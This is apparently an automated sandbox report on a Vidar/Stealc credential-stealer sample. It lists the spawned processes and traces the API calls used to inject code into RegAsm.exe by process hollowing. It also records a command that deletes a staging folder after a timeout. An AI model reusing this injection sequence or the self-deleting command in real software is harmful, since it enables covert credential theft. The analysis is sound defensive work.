MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:18:54
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x9d0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:19:53
Start date:	01/10/2024
Path:	C:\ProgramData\GDBFCGIIIJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\GDBFCGIIIJ.exe"
Imagebase:	0x890000
File size:	391'072 bytes
MD5 hash:	C7E7CFC3ED17AEF6C67C265389593EE3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:19:53
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x800000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:19:54
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x8c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:19:55
Start date:	01/10/2024
Path:	C:\ProgramData\KJEGDBKFIJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\KJEGDBKFIJ.exe"
Imagebase:	0x30000
File size:	423'840 bytes
MD5 hash:	237AF39F8B579AAD0205F6174BB96239
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000000A.00000002.2293601659.000000000346E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	23:19:55
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:19:57
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x6f0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:19:57
Start date:	01/10/2024
Path:	C:\ProgramData\IIJKJDAFHJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\IIJKJDAFHJ.exe"
Imagebase:	0xc80000
File size:	344'992 bytes
MD5 hash:	022CC85ED0F56A3F3E8AEC4AE3B80A71
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2320759817.0000000003F55000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	23:19:57
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:19:59
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xe90000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.2763045880.000000000144A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.2759155964.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	23:20:01
Start date:	01/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DBGIJEHIIDGC" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:20:01
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:20:01
Start date:	01/10/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0xb80000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	23:20:11
Start date:	01/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBAAAAKJKJE.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	23:20:11
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:20:11
Start date:	01/10/2024
Path:	C:\Users\userBAAAAKJKJE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userBAAAAKJKJE.exe"
Imagebase:	0xee0000
File size:	423'840 bytes
MD5 hash:	237AF39F8B579AAD0205F6174BB96239
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	23:20:11
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	23:20:11
Start date:	01/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAFIDGDBGCA.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:20:11
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	23:20:11
Start date:	01/10/2024
Path:	C:\Users\userAFIDGDBGCA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userAFIDGDBGCA.exe"
Imagebase:	0xf0000
File size:	391'072 bytes
MD5 hash:	C7E7CFC3ED17AEF6C67C265389593EE3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	23:20:11
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	23:20:12
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xb10000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000001B.00000002.2585998316.000000000043A000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	23:20:13
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x7ff6ec4b0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	24.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	33.3%
Total number of Nodes:	21
Total number of Limit Nodes:	0

Executed Functions

Function 027E212D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,027E209F,027E208F), ref: 027E229C
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 027E22AF
Wow64GetThreadContext.KERNEL32(00000398,00000000), ref: 027E22CD
ReadProcessMemory.KERNELBASE(0000039C,?,027E20E3,00000004,00000000), ref: 027E22F1
VirtualAllocEx.KERNELBASE(0000039C,?,?,00003000,00000040), ref: 027E231C
WriteProcessMemory.KERNELBASE(0000039C,00000000,?,?,00000000,?), ref: 027E2374
WriteProcessMemory.KERNELBASE(0000039C,00400000,?,?,00000000,?,00000028), ref: 027E23BF
WriteProcessMemory.KERNELBASE(0000039C,?,?,00000004,00000000), ref: 027E23FD
Wow64SetThreadContext.KERNEL32(00000398,00E30000), ref: 027E2439
ResumeThread.KERNELBASE(00000398), ref: 027E2448

Strings

GetThreadContext, xrefs: 027E2207
ResumeThread, xrefs: 027E2269
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 027E229B
TerminateProcess, xrefs: 027E232B
GetP, xrefs: 027E21AF
VirtualAlloc, xrefs: 027E21F4
ress, xrefs: 027E21B7
SetThreadContext, xrefs: 027E2253
WriteProcessMemory, xrefs: 027E2240
Load, xrefs: 027E216B
CreateProcessA, xrefs: 027E21E1
ReadProcessMemory, xrefs: 027E221A
VirtualAllocEx, xrefs: 027E222D
aryA, xrefs: 027E2173

Memory Dump Source

Source File: 00000000.00000002.1663469275.00000000027E1000.00000040.00000800.00020000.00000000.sdmp, Offset: 027E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_27e1000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: a31d6c0d8eaa56a5bcf979905aa6d962e749a2fdb1ee1f3fbcb56c32a6e91d2a
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: CDB1E77664024AAFDB60CF68CC80BDA77A9FF8C714F158514EA0CAB341D774FA518BA4

Function 00D514E1 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 00D51568

Memory Dump Source

Source File: 00000000.00000002.1662831579.0000000000D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ed94a569c23608392beb579b1c42fdfc3cf869bcbe6b0ac39a0f3561fd761247
Instruction ID: 16736e197e19cfe74cdb74f3303f181e86acd55dcfa4d0be19fc19a416d27e15
Opcode Fuzzy Hash: ed94a569c23608392beb579b1c42fdfc3cf869bcbe6b0ac39a0f3561fd761247
Instruction Fuzzy Hash: 062132B59002499FCF10DFAAC881ADEFBF4FF48310F54842AE919A7240C774A900CFA1

Function 00D514E8 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 00D51568

Memory Dump Source

Source File: 00000000.00000002.1662831579.0000000000D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 50d8245491f96190d615af391b24eafadb3451ab36cede2eeafbe020970cb333
Instruction ID: a1ca781d7971ee36f206e2fcacb9108988cb99aec7aaceba5f9ebd359dc2f5b0
Opcode Fuzzy Hash: 50d8245491f96190d615af391b24eafadb3451ab36cede2eeafbe020970cb333
Instruction Fuzzy Hash: A021E2B59002499FCF10DFAAD881ADEFBF5FF48310F50842AE919A7250C775A904CBA5

Function 00CFD01D Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1662594242.0000000000CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cfd000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef1f12eaf8ce33926889cf28ae77fd490e8da62d1000bf80eadc41a4ca81a418
Instruction ID: ccd29b2afdf3c89fa321a66f6191125f67ac80d855daf414229b31b5238d7f40
Opcode Fuzzy Hash: ef1f12eaf8ce33926889cf28ae77fd490e8da62d1000bf80eadc41a4ca81a418
Instruction Fuzzy Hash: 9A012B714043089AE7504E26DCC0B77FFA9DF41324F18C41AFE5A4B282CF799941C6B2

Function 00CFD005 Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1662594242.0000000000CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cfd000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1caf1a2bba7ee5a1c933b9873683b6a2fc0cdba1f9e207bac68d663c37899ed
Instruction ID: f644a6044b0263ecdf8a7a19a19ca09bad71c161d6351faf9f2d6b771e1cfb61
Opcode Fuzzy Hash: b1caf1a2bba7ee5a1c933b9873683b6a2fc0cdba1f9e207bac68d663c37899ed
Instruction Fuzzy Hash: D301807100E3C05ED7128B258C94B62BFB4DF53224F0980DBE9888F1A3C6695848C772

Analysis Process: RegAsm.exePID: 4248, Parent PID: 6284COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 00418950 Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,004172CA), ref: 00418964
GetProcAddress.KERNEL32 ref: 0041897B
GetProcAddress.KERNEL32 ref: 00418992
GetProcAddress.KERNEL32 ref: 004189A9
GetProcAddress.KERNEL32 ref: 004189C0
GetProcAddress.KERNEL32 ref: 004189D7
GetProcAddress.KERNEL32 ref: 004189EE
GetProcAddress.KERNEL32 ref: 00418A05
GetProcAddress.KERNEL32 ref: 00418A1C
GetProcAddress.KERNEL32 ref: 00418A33
GetProcAddress.KERNEL32 ref: 00418A4A
GetProcAddress.KERNEL32 ref: 00418A61
GetProcAddress.KERNEL32 ref: 00418A78
GetProcAddress.KERNEL32 ref: 00418A8F
GetProcAddress.KERNEL32 ref: 00418AA6
GetProcAddress.KERNEL32 ref: 00418ABD
GetProcAddress.KERNEL32 ref: 00418AD4
GetProcAddress.KERNEL32 ref: 00418AEB
GetProcAddress.KERNEL32 ref: 00418B02
GetProcAddress.KERNEL32 ref: 00418B19
GetProcAddress.KERNEL32 ref: 00418B30
GetProcAddress.KERNEL32 ref: 00418B47
GetProcAddress.KERNEL32 ref: 00418B5E
GetProcAddress.KERNEL32 ref: 00418B75
GetProcAddress.KERNEL32 ref: 00418B8C
GetProcAddress.KERNEL32 ref: 00418BA3
GetProcAddress.KERNEL32 ref: 00418BBA
GetProcAddress.KERNEL32 ref: 00418BD1
GetProcAddress.KERNEL32 ref: 00418BE8
GetProcAddress.KERNEL32 ref: 00418BFF
GetProcAddress.KERNEL32 ref: 00418C16
GetProcAddress.KERNEL32 ref: 00418C2D
GetProcAddress.KERNEL32 ref: 00418C44
GetProcAddress.KERNEL32 ref: 00418C5B
GetProcAddress.KERNEL32 ref: 00418C72
GetProcAddress.KERNEL32 ref: 00418C89
GetProcAddress.KERNEL32 ref: 00418CA0
GetProcAddress.KERNEL32 ref: 00418CB7
GetProcAddress.KERNEL32 ref: 00418CCE
GetProcAddress.KERNEL32 ref: 00418CE5
GetProcAddress.KERNEL32 ref: 00418CFC
GetProcAddress.KERNEL32 ref: 00418D13
GetProcAddress.KERNEL32 ref: 00418D2A
GetProcAddress.KERNEL32(CreateProcessA), ref: 00418D40
GetProcAddress.KERNEL32(GetThreadContext), ref: 00418D56
GetProcAddress.KERNEL32(ReadProcessMemory), ref: 00418D6C
GetProcAddress.KERNEL32(VirtualAllocEx), ref: 00418D82
GetProcAddress.KERNEL32(ResumeThread), ref: 00418D98
GetProcAddress.KERNEL32(WriteProcessMemory), ref: 00418DAE
GetProcAddress.KERNEL32(SetThreadContext), ref: 00418DC4
LoadLibraryA.KERNEL32(004172CA), ref: 00418DD5
LoadLibraryA.KERNEL32 ref: 00418DE6
LoadLibraryA.KERNEL32 ref: 00418DF7
LoadLibraryA.KERNEL32 ref: 00418E08
LoadLibraryA.KERNEL32 ref: 00418E19
LoadLibraryA.KERNEL32 ref: 00418E2A
LoadLibraryA.KERNEL32 ref: 00418E3B
LoadLibraryA.KERNEL32 ref: 00418E4C
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00418E5C
GetProcAddress.KERNEL32(75290000), ref: 00418E77
GetProcAddress.KERNEL32 ref: 00418E8E
GetProcAddress.KERNEL32 ref: 00418EA5
GetProcAddress.KERNEL32 ref: 00418EBC
GetProcAddress.KERNEL32 ref: 00418ED3
GetProcAddress.KERNEL32(734C0000), ref: 00418EF2
GetProcAddress.KERNEL32 ref: 00418F09
GetProcAddress.KERNEL32 ref: 00418F20
GetProcAddress.KERNEL32 ref: 00418F37
GetProcAddress.KERNEL32 ref: 00418F4E
GetProcAddress.KERNEL32 ref: 00418F65
GetProcAddress.KERNEL32 ref: 00418F7C
GetProcAddress.KERNEL32 ref: 00418F93
GetProcAddress.KERNEL32(752C0000), ref: 00418FAE
GetProcAddress.KERNEL32 ref: 00418FC5
GetProcAddress.KERNEL32 ref: 00418FDC
GetProcAddress.KERNEL32 ref: 00418FF3
GetProcAddress.KERNEL32 ref: 0041900A
GetProcAddress.KERNEL32(74EC0000), ref: 00419029
GetProcAddress.KERNEL32 ref: 00419040
GetProcAddress.KERNEL32 ref: 00419057
GetProcAddress.KERNEL32 ref: 0041906E
GetProcAddress.KERNEL32 ref: 00419085
GetProcAddress.KERNEL32 ref: 0041909C
GetProcAddress.KERNEL32(75BD0000), ref: 004190BB
GetProcAddress.KERNEL32 ref: 004190D2
GetProcAddress.KERNEL32 ref: 004190E9
GetProcAddress.KERNEL32 ref: 00419100
GetProcAddress.KERNEL32 ref: 00419117
GetProcAddress.KERNEL32 ref: 0041912E
GetProcAddress.KERNEL32 ref: 00419145
GetProcAddress.KERNEL32 ref: 0041915C
GetProcAddress.KERNEL32 ref: 00419173
GetProcAddress.KERNEL32(75A70000), ref: 0041918E
GetProcAddress.KERNEL32 ref: 004191A5
GetProcAddress.KERNEL32 ref: 004191BC
GetProcAddress.KERNEL32 ref: 004191D3
GetProcAddress.KERNEL32 ref: 004191EA
GetProcAddress.KERNEL32(75450000), ref: 00419205
GetProcAddress.KERNEL32 ref: 0041921C
GetProcAddress.KERNEL32(75DA0000), ref: 00419237
GetProcAddress.KERNEL32 ref: 0041924E
GetProcAddress.KERNEL32(6F070000), ref: 0041926D
GetProcAddress.KERNEL32 ref: 00419284
GetProcAddress.KERNEL32 ref: 0041929B
GetProcAddress.KERNEL32 ref: 004192B2
GetProcAddress.KERNEL32 ref: 004192C9
GetProcAddress.KERNEL32 ref: 004192E0
GetProcAddress.KERNEL32 ref: 004192F7
GetProcAddress.KERNEL32 ref: 0041930E
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 00419324
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 0041933A
GetProcAddress.KERNEL32(75AF0000), ref: 00419355
GetProcAddress.KERNEL32 ref: 0041936C
GetProcAddress.KERNEL32 ref: 00419383
GetProcAddress.KERNEL32 ref: 0041939A
GetProcAddress.KERNEL32(75D90000), ref: 004193B5
GetProcAddress.KERNEL32(6F8E0000), ref: 004193D0
GetProcAddress.KERNEL32 ref: 004193E7
GetProcAddress.KERNEL32 ref: 004193FE
GetProcAddress.KERNEL32 ref: 00419415
GetProcAddress.KERNEL32(6C420000,SymMatchString), ref: 0041942F

Strings

CreateProcessA, xrefs: 00418D30
dbghelp.dll, xrefs: 00418E52
ReadProcessMemory, xrefs: 00418D5C
SymMatchString, xrefs: 00419429
VirtualAllocEx, xrefs: 00418D72
InternetSetOptionA, xrefs: 0041932A
HttpQueryInfoA, xrefs: 00419314
ResumeThread, xrefs: 00418D88
WriteProcessMemory, xrefs: 00418D9E
GetThreadContext, xrefs: 00418D46
SetThreadContext, xrefs: 00418DB4

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction ID: 8261b1413bc3cc4e1081ef522fb3a36784379b70ccc82e73ae8bdeed84e113b8
Opcode Fuzzy Hash: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction Fuzzy Hash: 7352F475910312AFEF1ADFA0FD188243BA7F718707F11A466E91582270E73B4A64EF19

Function 00414CC8 Relevance: 44.0, APIs: 21, Strings: 4, Instructions: 297
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414D1C
FindFirstFileA.KERNEL32(?,?), ref: 00414D33
_memset.LIBCMT ref: 00414D4F
_memset.LIBCMT ref: 00414D60
StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
wsprintfA.USER32 ref: 00414DC2
StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
wsprintfA.USER32 ref: 00414DFF
wsprintfA.USER32 ref: 00414E16

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00412166: CreateFileA.KERNEL32(00414FAC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414FAC,?), ref: 00412181

_memset.LIBCMT ref: 00414E28
lstrcatA.KERNEL32(?,?), ref: 00414E3D
